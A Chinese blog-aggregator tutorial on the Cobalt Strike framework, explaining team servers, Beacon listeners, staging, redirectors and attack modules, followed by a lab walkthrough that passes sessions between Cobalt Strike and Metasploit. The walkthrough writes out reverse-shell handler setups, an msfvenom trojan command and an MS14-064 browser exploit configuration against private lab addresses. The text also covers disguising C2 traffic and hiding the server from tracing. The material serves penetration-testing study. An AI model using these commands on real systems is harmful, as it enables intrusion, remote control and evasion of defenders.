cobalt strike渗透框架

Posted lisenMiller

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了cobalt strike渗透框架相关的知识,希望对你有一定的参考价值。

CS介绍

团队服务器

Cobalt Strike 分为客户端组件和服务器组件。服务器组件,也就是团队服务器,是 Beacon payload 的
控制器,也是 Cobalt Strike 社会工程功能的托管主机。团队服务器还存储由 Cobalt Strike 收集的数
据,并管理日志记录.
启动CS的团队服务器,使用 Cobalt Strike Linux 安装包中的 teamserver 脚本文件。

团队服务器的启动命令包含两个必填的参数和两个选填的参数。
必填
1.是团队服务器的外部可达 IP 地址
2.密码   #的团队成员将使用此密码从自己 Cobalt Strike 客户端去连接至 Cobalt Strike 团队服务器。
 
tips:当团队服务器启动,它会发布团队服务器的 SSL 证书的 SHA256 hash。你需要给你的团队成员分发这
hash。当你的团队成员连接团队服务器时,在身份验证至团队服务器前、他们的 Cobalt Strike 客户
端会询问他们是否承认这个 hash

CS客户端

CS客户端启动时,你会看到一个连接对话框。

 

 HOST:指定teamserver的add。默认端口为50050

user改为外号 passowrd填写teamserver的共享密码

connect链接CS的teamserver

第一次连接

Cobalt Strike 会询问你是否承认这个团队服务器的 SHA256hash。如果你承认,那么按 OK ,然后 Cobalt Strike 的客户端就会连接到这个团队服务器。CobaltStrike 也会在未来的连接中记住这个 SHA256 hash。你可以通过 Cobalt Strike→ Preferences → Fingerprints 来管理这些团队服务器的 hash

 用户接口

工具条

Cobalt Strike 顶部的工具条提供访问 Cobalt Strike 常用功能的快捷方式

 目标表

目标表展示了 Cobalt Strike 的数据模型中的目标。此目标表展示了每个目标的 IP 地址,它的 NetBIOS名称,以及你或者你的团队成员给目标标记的一个备注。每个目标最左侧的图标表示了它的操作系统。带有闪电的红色图标表示此目标具有一个与之通信的 Cobalt Strike Beacon 会话

点击表头字段( address )来排序主机。高亮一行并右击来打开一个菜单,此菜单有针对这台主机的操作选项。按住 Ctrl + Alt ,然后通过点击来选择和取消选择某台主机。
这个目标表对于横向移动和理解你的目标网络很有用。

会话表

会话表展示了哪些 Beacon 回连到了这台 Cobalt Strike 实例。Beacon 是 Cobalt Strike 用于模拟高级威胁者的 payload。在这里,你将看到每个 Beacon 的外网 IP 地址、内网 IP 地址、该 Beacon 的出口监听器、此 Beacon 最后一次回连的时间,以及其他信息。每一行最左边是一个图标,用于说明被害目标的操作系统。如果此图标是红色的、并且带有闪电,那么说明此 Beacon 运行在管理员权限的进程中。一个褪色的图标意味着此 Beacon 会话被要求离开并且它接受了此命令。

 数据管理

teamserver是CS收集的所有信息的中间商。Cobalt Strike 解析来自它的 Beacon payload 的输出,提取出目标、服务和凭据。 

目标

你可以通过 View → Targets 来与 Cobalt Strike 的目标的信息交互。这个标签页显示与目标表视图相同的信息。点击 Import 来导入一个带有目标信息的文件。Cobalt Strike 接受每行一个主机的 flflat 文本文件(纯文本文件),也接受由 Nmap 生成的 XML 文件(-oX 选项)。
 
点击 Add 按钮来给 Cobalt Strike 的数据模型添加新的目标。

这个对话框允许你向 Cobalt Strike 的数据库添加多个主机。在 Address (地址)字段指定一个 IP 地址的范围或使用 CIDR 表示法来一次添加多个主机。在给数据模型添加主机时,按住 shift 可以使得在点击 Save 之后仍保持这个对话框打开。选择一个或多个主机然后单击右键来打开主机菜单。通过这个菜单你可以修改对主机的备注、设置它们的操作系统信息,或者从这个数据模型中移除主机。

服务

在一个 Target (目标)视图中,在一台主机上单击右键,并选择 Services (服务)。这会打开Cobalt Strike 的服务浏览器。在这里你可以浏览服务,给不同的服务备注,也可以移除服务条目

 凭据

通过 View → Credentials 来与 Cobalt Strike 的凭据模型交互。点击 Add 按钮来给凭据模型添加一条条目。同样的,你也可以按住 Shift 键来保持对话框打开并使得给模型添加新的凭据更方便。点击Copy 来复制高亮的条目至你的剪贴板。使用 Export 来以 PWDump 格式导出凭据。

 维持

Cobalt Strike 的数据模型将其所有的状态和状态元数据存储在 data/ 文件夹。 data/ 文件夹存在在你
运行 Cobalt Strike 团队服务器的那个文件夹里。要清除 Cobalt Strike 的数据模型:停止团队服务器,删除 data/ 文件夹及其内容。当你下次启动团队服务器的时候,Cobalt Strike 会重建 data/ 文件夹
通过 Reporting → Reset Data 可以在不重启团队服务器的情况下重置 Cobalt Strike 的数据模型

监听器和基础设施

一旦teamserver启动并运行,你将需要连接到它并将其配置为接收来自受害系统的连接。listener就是 Cobalt Strike 中用来执行这种任务的机制。 

监听器管理

要管理 Cobalt Strike 的监听器,通过 Cobalt Strike → Listeners 。这会打开一个标签页,列举出所有你的配置的 payload 和监听器。 

 

按 Add 按钮来创建一个新的监听器。
当你创建一个监听器,确保你给他一个好记的名称。在 Cobalt Strike 的命令和工作流程中你需要使用
此名称来引用此监听器。
要编辑监听器,选中一个监听器,然后按 Edit 。
要移除一个监听器,选中该监听器,然后按 Remove 。

CS的beacon payload

最常见的情况是,你需要为 Cobalt Strike 的 Beacon payload 配置监听器。Beacon 是 Cobalt Strike的 payload,用于建模高级攻击者。使用 Beacon 来通过 HTTP,HTTPS 或 DNS 出口网络。
 
Beacon 的网络流量指标具有拓展性。可以使用 Cobalt Strike 的可拓展的 C2 语言来重新定义 Beacon的通信。这允许你掩盖 Beacon 行动,比如使其流量看起来像其他的恶意软件,又或者将其流量掺入作为合法流量。

payload staging (payload 分阶段)

payload 就是攻击执行的内容。payload 通常被分为两部分:payload stage 和 payload stager。stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。 
 
staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透payload
 
Cobalt Strike 在它的用户驱动攻击中使用 staging(分阶段)。大多数这类项目在Attacks → Packages 和 Attacks → Web Drive-by 选项下。使用什么样的 stager 取决于与攻击配对的 payload。比如,HTTP Beacon 有一个 HTTP stager。DNS Beacon 有一个 DNS TXT 记录 stager。不是所有的 payload 都有 stager 选项。没有 stager 的 Payload 不能使用这些攻击选项投递。
在 Cobalt Strike 4.0 及以后的版本中,后渗透和横向移动的行为避开了 stager 并选择去尽可能的投递
一个完整的 payload。如果你禁用了 payload staging(分阶段),那么除非你准备做后渗透那么你
应该不会注意到此变动

http beacon /https beacon

默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP,POST 请求传回数据。你也可以通过 C2 拓展文件来极尽可能的控制这个 payload 的行为和流量指标。 
 
要起一个 HTTP 或 HTTPS Beacon 监听器,通过 Cobalt Stike → Listeners 。点击 Add 按钮,选择 Beacon HTTP 作为你的 payload 选项
4.0版本

按 [+] 来为 HTTP Beacon 增加一个或多个回连的主机。按 [-] 来移除一个或多个主机。按 [X] 来清
除当前的主机。如果你有多个主机,仍然可以在此对话框中粘贴以逗号分隔的回连主机列表,这是可行
的。
HTTP Host(Stager) 字段控制 HTTP Beacon 的 HTTP Stager 的主机。仅当你将此 payload 与需要显式 stager 的攻击配对时,才使用此值。
通过 Profile 字段,你可以选择一个 C2 拓展文件变体。通过一个 C2 文件变体,你可以在一个文件中指定多个配置文件的变量。使用变体文件之后,你设置的每个 HTTP 或 HTTPS 监听器会有不同的网络流量指标。
 
HTTP Port(C2) 字段设置你的 HTTP Beacon 回连的端口。 HTTP Port(Bind) 字段指定你的 HTTP
Beacon payload web 服务器绑定的端口。如果你要设置端口弯曲重定向器(例如,接受来自 80 或
443 端口的连接但将连接路由到团队服务器开在另一个端口上的连接,这样的重定向器),那么这些选
项会很有用。
如果 HTTP Host Header 值被指定了,会影响你的 HTTP stagers,并通过你的 HTTP 通信。这个选项
使得通过 Cobalt Strike 利用域名前置变得更加容易。
点击 HTTP Proxy 字段旁边的 ... 按钮来为此 payload 指定一个显式的代理配置。

 3.13版本

 手动http代理设置

(Manual) Proxy Settings 对话框提供了多个选项来控制 Beacon 的 HTTP 和 HTTPS 请求的代理配置。Beacon 的默认行为是为当前的进程/用户上下文使用 Internet Explorer 代理配置。
 
Proxy Type 字段配置了代理的类型。 Proxy Host 和 Proxy Port 字段告诉 Beacon 代理在哪里运行。 Username 和 Password 字段是可选的,这些字段指定了 Beacon 用来对代理进行身份验证的凭据。

勾选 Ignore proxy settings;use direct connection (忽略代理设置;使用直连)来强制
Beacon 不通过代理尝试其 HTTP 和 HTTPS 请求。
当你填写好代理配置之后,点击 Set 来更新 Beacon 对话框。点击 Reset 可以把代理配置重置为默认
行为。

重定向器

重定向器是位于你的目标网络和你的团队服务器之间的系统。任何去往重定向器的连接将转发到你的团队服务器进行处理。通过重定向器,可以为你的 Beacon payload 提供多个回连主机。使用重定向器还有助于提升行为安全,因为它会使溯源团队服务器的真实地址变得更加困难。

Cobalt Strike 的监听器管理功能支持使用重定向器。当你设置一个 HTTP 或 HTTPS Beacon 监听器的时候,简单的指定你的重定向器 IP (在 Host 字段填入)。Cobalt Strike 不会验证这个信息。如果你提供的 host 不隶属于当前主机(不是团队服务器的 IP),那么 Cobalt Strike 就假设它是重定向器。一种把服务器转变为重定向器的简单方法是使用 socat。 
下面是一句 socat 语法,作用是:将80端口上的所有连接转发到位于192.168.12.100的团队服务器的80端口:socat TCP4-LISTEN:80,fork TCP4:192.168.12.100:80

 cobalt strike模块详解

cobalt strike模块功能选项

new connection:打开一个新的connect窗口。在当前窗口中新建一个连接,即可同时链接不同的teamserver(便于团队之间的协作)

preferences:偏好设置,首选项

visualization:主机以不同的权限展示出来

VPN interfaces:设置VPN接口

listeners:创建监听器

script manager : 查看加载CNA脚本

close:关闭当前与teamserver的连接

view模块

application:显示被控机器的应用信息

credentials 通过hashdump或mimikatz获取的密码或者散列值都存储在这里

downloads:从被控机器下载的文件

event log 主机上线记录,以及与团队协作相关的聊天记录和操作记录

keystrokes:键盘记录

proxy pivots:代理模块

screenshots:屏幕截图模块

script console 控制台,加载各种脚本

targets:显示目标

web log :web访问日志

attacks模块

packages模块

HTML application:基于HTML应用的payload模块,通过html调用其他语言的应用组件进行攻击测试,提供了可执行文件,powershell,VBA三种方法
MS Office macro :生成基于office病毒的payload模块
payload generator:payload生成器,可以生成C#,c com scriptlet,java,perl,pwershell,python,ruby,vba等payload
USB/CD autoplay 用于生成利用自动播放功能运行的后门文件
windows dropper 捆绑器,能够对文件进行捆绑并执行payload
windows executable 生成32位或64位的exe或基于服务的exe,dll等后门程序。
windows executalbe(S) 生成一个win的可执行文件,包含beacon的完整payload。不需要阶段性请求,与上面的相比提供代理设置。

web drive-by模块

基于网络驱动的功能模块
manage 管理器,用于对teamserver上已经开启的web服务进行管理,包括listener和web delivery
clone site:用于克隆指定网站样式
host file:指定文件加载到web目录中
script web delivery : 基于web的攻击测试脚本,自动生成可执行payload
signed applet attack : 使用java自签名的程序进行钓鱼攻击。(用户如果有applet权限就会执行其中的恶意代码)
smart applet attack : 自动检测java的版本并进行跨平台和跨浏览器的攻击测试
system profiler : 客户端检测工具,可以用来获取系统信息

 

152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]

我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!

文章目录

一、会话管理

1、实验环境

2、会话派生

(1)128的cs会话派生给128的cs本身

第一步:使用http beacon,让128获取到132的cs会话(详细步骤:传送门
//如下图所示:128的cs获取到了131的会话

第二步:128的cs新建一个监听器,注意端口要不一样
//如下图所示:128新建了一个9528的监听器

第三步:128右键会话视图下刚刚生成的会话,点击Spawn派生,选择9528的监听器
//如下图所示:派生会话

//如下图所示:我们在beacon视图下也会发现,点击了派生的操作其实就是执行下面的命令

//如下图所示:等待了一段时间后,128的cs会话成功派生给自身

(2)128的cs会话派生给129的cs会话

第一步:129的cs建立一个9529端口的监听器
//如下图所示:129建立了一个

第二步:128的cs也建立一个9529端口的监听器,特别需要注意的是此时的host需要填写的是129
//如下图所示:host填129,但是beacons填128

第三步:128选中自己会话视图下的所有会话,然后右键Spawn派生到129的cs
//如下图所示:进行派生

第四步:查看129的cs是否获取到了会话
//如下图所示:128的cs会话成功派生到了129的cs上面

(3)128的cs会话派生到129的msf会话

第一步:129的msf开启9530端口监听,特别要注意的是payload选择tcp协议的reverse_tcp

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.129
set lport 9530
exploit -j

//如下图所示:需要注意的是选择的payload是reverse_tcp

第二步:128的cs上建立新的外部监听器,特别需要注意的是外部
//如下图所示:因为是128的cs派生给129的msf,所以选择外部,还有host需要填写的是129的;又因为msf的payload设置的是tcp协议的reverse_tcp,所以要与之对应也选择reverse_tcp;

第三步:128选择会话视图下的所有会话,右键Spawn派生给129的msf
//如下图所示:选中9530,点击choose开始派生

第四步:回到129的msf,发现已经建立了两个会话,我们键入sessions查看所有会话结果
//如下图所示:129的msf上的会话1和会话2就是128的cs会话派生来的

(4)129的msf生成木马 + 128的cs获取新会话

第一步:129生成一个反弹给128的9531端口的木马
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.97.128 LPORT=9531 -f exe > /mnt/hgfs/share/shell1.exe
//如下图所示:成功生成木马

第二步:128的cs新建一个9531监听器
//如下图所示:host填写128,beacons也是128

第三步:靶机131执行我们的129的msfvenom生成的shell1.exe
//如下图所示:靶机成功运行shell1.exe

第四步:查看128的cs会话视图下是否存在新的会话
//如下图所示:128的cs会话视图下反弹来了131的新会话

(5)129的msf溢出exp发到128的cs会话

第一步:129的msf使用溢出exp

use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.97.129		【msf自己的IP】
set SRVPORT 80
set payload windows/meterpreter/reverse_http
set LHOST 192.168.97.128	【128的cs,也就是team server的IP】
set lport 9532
set disablepayloadhandler True
set PrependMigrate True
exploit

//解释set disablepayloadhandler True:将DisablePayLoadHandler设置为true。这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。
//解释set PrependMigrate True:这个选项告诉metasploit框架修改其stager,以便在利用之后立即迁移到另一个进程。此选项对于客户端攻击非常重要。它允许您的会话在被利用的应用程序崩溃或关闭时存活。
//如下图所示:生成了恶意链接

第二步:128的cs新建监听器
//如下图所示:host填129,beacons填128

第三步:打开靶机200,运行恶意链接
//如下图所示:

第四步:查看128的cs会话视图下新上线了一个200

(6)129的msf会话派生给128的cs会话

第一步:129的msf生成恶意链接

use exploit/windows/browser/ms14_064_ole_code_execution
set disablepayloadhandler false
set PrependMigrate false
set srvhost 192.168.97.129			【自己IP】
set SRVPORT 80
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.129		【自己IP】
set lport 9532
exploit

第二步:靶机200访问恶意链接http://192.168.97.129:80/Xx3boZk2QaGml71,129的msf获取到会话2
//如下图所示:靶机执行恶意链接

//如下图所示:129的msf获取会话2

第三步:129把会话转到128
sessions
use exploit/windows/local/payload_inject
set session 2
set payload windows/meterpreter/reverse_http
set lhost 192.168.97.128 【cs的IP】
set lport 9532 【cs的端口】
set DisablePayloadHandler true
exploit -j

第四步:128的cs会话视图下获取到了129的msf会话

以上是关于cobalt strike渗透框架的主要内容,如果未能解决你的问题,请参考以下文章

Cobalt Strike第一篇介绍及安装配置

148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]

渗透测试利器【Cobalt Strike】CDN隐匿

cobalt strike使用跳板进行内网渗透

152.网络安全渗透测试—[Cobalt Strike系列]—[会话管理/派生]

【远控使用】Cobalt Strike横向渗透域控